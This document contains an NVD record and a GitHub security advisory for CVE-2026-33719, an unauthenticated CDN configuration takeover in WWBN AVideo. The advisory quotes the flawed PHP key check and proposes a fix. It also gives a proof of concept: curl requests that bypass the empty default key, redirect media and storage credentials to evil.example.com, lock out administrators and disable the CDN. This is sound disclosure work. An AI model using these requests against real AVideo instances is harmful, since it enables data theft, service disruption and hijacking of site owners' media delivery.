{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the CDN plugin endpoints `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php` use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration \u2014 including CDN URLs, storage credentials, and the authentication key itself \u2014 via mass-assignment through the `par` request parameter. Commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, los endpoints del plugin CDN \u0027plugin/CDN/status.json.php\u0027 y \u0027plugin/CDN/disable.json.php\u0027 usan autenticaci\u00f3n basada en clave con una clave predeterminada de cadena vac\u00eda. Cuando el plugin CDN est\u00e1 habilitado pero la clave no ha sido configurada (el estado predeterminado), la verificaci\u00f3n de validaci\u00f3n de clave es completamente omitida, permitiendo a cualquier atacante no autenticado modificar la configuraci\u00f3n completa del CDN \u2014 incluyendo URLs de CDN, credenciales de almacenamiento y la propia clave de autenticaci\u00f3n \u2014 a trav\u00e9s de asignaci\u00f3n masiva mediante el par\u00e1metro de solicitud \u0027par\u0027. El commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contiene un parche."
    }
  ],
  "id": "CVE-2026-33719",
  "lastModified": "2026-03-25T14:56:57.593",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-23T19:16:42.647",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/adeff0a31ba04a56f411eef256139fd7ed7d4310"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-r64r-883r-wcwh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-306"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33719"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:55:32Z",
    "nvd_published_at": "2026-03-23T19:16:42Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe CDN plugin endpoints `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php` use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration \u2014 including CDN URLs, storage credentials, and the authentication key itself \u2014 via mass-assignment through the `par` request parameter.\n\n## Details\n\nThe CDN plugin defines a default empty key in `plugin/CDN/CDN.php:68`:\n\n```php\n$obj-\u003ekey = \"\";\n```\n\nThe `status.json.php` endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:\n\n```php\n// Line 16-19: Requires attacker to provide SOME key value\nif (empty($_REQUEST[\u0027key\u0027])) {\n    $resp-\u003emsg = \u0027Key is empty\u0027;\n    die(json_encode($resp));\n}\n\n// Line 21-26: Only validates key IF stored key is non-empty\nif (!empty($obj-\u003ekey)) {      // When key is \"\" (default), this is FALSE\n    //check the key\n    if ($obj-\u003ekey !== $_REQUEST[\u0027key\u0027]) {\n        $resp-\u003emsg = \u0027Key Does not match\u0027;\n        die(json_encode($resp));\n    }\n}\n```\n\nWhen the stored key is the default empty string `\"\"`, `!empty(\"\")` evaluates to `false`, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.\n\nFollowing the bypass, lines 28-31 perform unchecked mass-assignment:\n\n```php\n$obj-\u003ekey = $_REQUEST[\u0027key\u0027];\nforeach ($_REQUEST[\u0027par\u0027] as $key =\u003e $value) {\n    $obj-\u003e{$key} = $value;\n    $resp-\u003e{$key} = $value;\n}\n```\n\nThe attacker-controlled `par` array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:\n\n```php\n$cdn = AVideoPlugin::loadPluginIfEnabled(\u0027CDN\u0027);\n$id = $cdn-\u003esetDataObject($obj);\n```\n\n`setDataObject()` in `Plugin.abstract.php:263` serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.\n\nExploitable properties (defined in `CDN.php:62-87`) include:\n- `CDN` \u2014 main CDN URL for serving all video content\n- `CDN_S3`, `CDN_B2`, `CDN_FTP` \u2014 storage-specific CDN URLs\n- `enable_storage` \u2014 enables CDN storage functionality\n- `storage_hostname`, `storage_username`, `storage_password` \u2014 storage backend credentials\n- `key` \u2014 the authentication key itself (via mass-assignment, can override line 28)\n\nThe `disable.json.php` endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: `$cdn-\u003esetStatus(\u0027inactive\u0027)`).\n\nThis contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, `Gallery/saveSort.json.php` (commit 087dab884) uses `isGlobalTokenValid()`, and commit daca4ffb1 added `User::isAdmin()` checks to other configuration endpoints.\n\n## PoC\n\n**Prerequisites:** AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).\n\n**Step 1: Verify CDN plugin is enabled and key is default**\n\n```bash\ncurl -s \u0027https://target/plugin/CDN/status.json.php\u0027 \\\n  -d \u0027key=anything\u0027 \\\n  -d \u0027par[CDN]=https://evil.example.com/\u0027\n```\n\nIf the response contains `\"error\":false`, the key bypass worked and CDN URL has been overwritten.\n\n**Step 2: Full takeover \u2014 redirect media, enable storage with attacker credentials, lock out admins**\n\n```bash\ncurl -s \u0027https://target/plugin/CDN/status.json.php\u0027 \\\n  -d \u0027key=initial-bypass\u0027 \\\n  -d \u0027par[CDN]=https://evil.example.com/\u0027 \\\n  -d \u0027par[enable_storage]=1\u0027 \\\n  -d \u0027par[storage_hostname]=evil.example.com\u0027 \\\n  -d \u0027par[storage_username]=attacker\u0027 \\\n  -d \u0027par[storage_password]=controlled\u0027 \\\n  -d \u0027par[key]=attacker-secret-key\u0027\n```\n\nThis single request:\n1. Redirects all CDN-served media URLs to attacker\u0027s server\n2. Enables CDN storage pointing to attacker-controlled host\n3. Sets the key to `attacker-secret-key`, locking legitimate administrators out of reconfiguring via this endpoint\n\n**Step 3: Disable CDN entirely (denial of service)**\n\n```bash\ncurl -s \u0027https://target/plugin/CDN/disable.json.php\u0027 \\\n  -d \u0027key=attacker-secret-key\u0027 \\\n  -d \u0027par[x]=1\u0027\n```\n\nThis deactivates the CDN plugin, disrupting media delivery.\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n1. **Redirect all media delivery** \u2014 By overwriting the CDN URL, all video content served to users is fetched from an attacker-controlled server, enabling content injection or phishing.\n2. **Exfiltrate uploaded videos** \u2014 By enabling storage with attacker-controlled credentials, newly uploaded videos are sent to the attacker\u0027s storage server.\n3. **Overwrite storage credentials** \u2014 The `storage_hostname`, `storage_username`, and `storage_password` fields are all mass-assignable, allowing the attacker to hijack the storage backend.\n4. **Lock out administrators** \u2014 By setting the `key` via mass-assignment, the attacker prevents legitimate administrators from using these endpoints to restore configuration (though admin panel access is unaffected).\n5. **Disable CDN** \u2014 Via `disable.json.php`, the attacker can deactivate the CDN plugin entirely, causing service disruption for media delivery.\n\nThe vulnerability is exploitable on any AVideo instance where the CDN plugin has been enabled but the key has not been manually configured \u2014 which is the default state immediately after enabling the plugin.\n\n## Recommended Fix\n\nAdd proper session-based authentication to both endpoints and remove the flawed key-only auth as the sole gate. In `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php`, add an admin check after the configuration include:\n\n```php\nrequire_once dirname(__FILE__) . \u0027/../../videos/configuration.php\u0027;\n_session_write_close();\nheader(\u0027Content-Type: application/json\u0027);\n\n$resp = new stdClass();\n$resp-\u003eerror = true;\n$resp-\u003emsg = \u0027\u0027;\n\n// Fix: Require admin authentication\nif (!User::isAdmin()) {\n    $obj = AVideoPlugin::getDataObjectIfEnabled(\u0027CDN\u0027);\n    if (empty($obj) || empty($obj-\u003ekey) || empty($_REQUEST[\u0027key\u0027]) || $obj-\u003ekey !== $_REQUEST[\u0027key\u0027]) {\n        $resp-\u003emsg = \u0027Authentication required\u0027;\n        die(json_encode($resp));\n    }\n}\n```\n\nAdditionally, restrict mass-assignment to only known, safe properties by validating against a whitelist:\n\n```php\n$allowedParams = [\u0027CDN\u0027, \u0027CDN_S3\u0027, \u0027CDN_B2\u0027, \u0027CDN_FTP\u0027, \u0027CDN_Live\u0027];\nforeach ($_REQUEST[\u0027par\u0027] as $key =\u003e $value) {\n    if (!in_array($key, $allowedParams, true)) {\n        continue;\n    }\n    $obj-\u003e{$key} = $value;\n    $resp-\u003e{$key} = $value;\n}\n```\n\nThis prevents mass-assignment of sensitive properties like `key`, `storage_password`, `storage_hostname`, and `enable_storage` even when the key-based auth is legitimately used by CDN nodes.",
  "id": "GHSA-r64r-883r-wcwh",
  "modified": "2026-03-25T21:55:32Z",
  "published": "2026-03-25T21:55:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-r64r-883r-wcwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33719"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/adeff0a31ba04a56f411eef256139fd7ed7d4310"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment"
}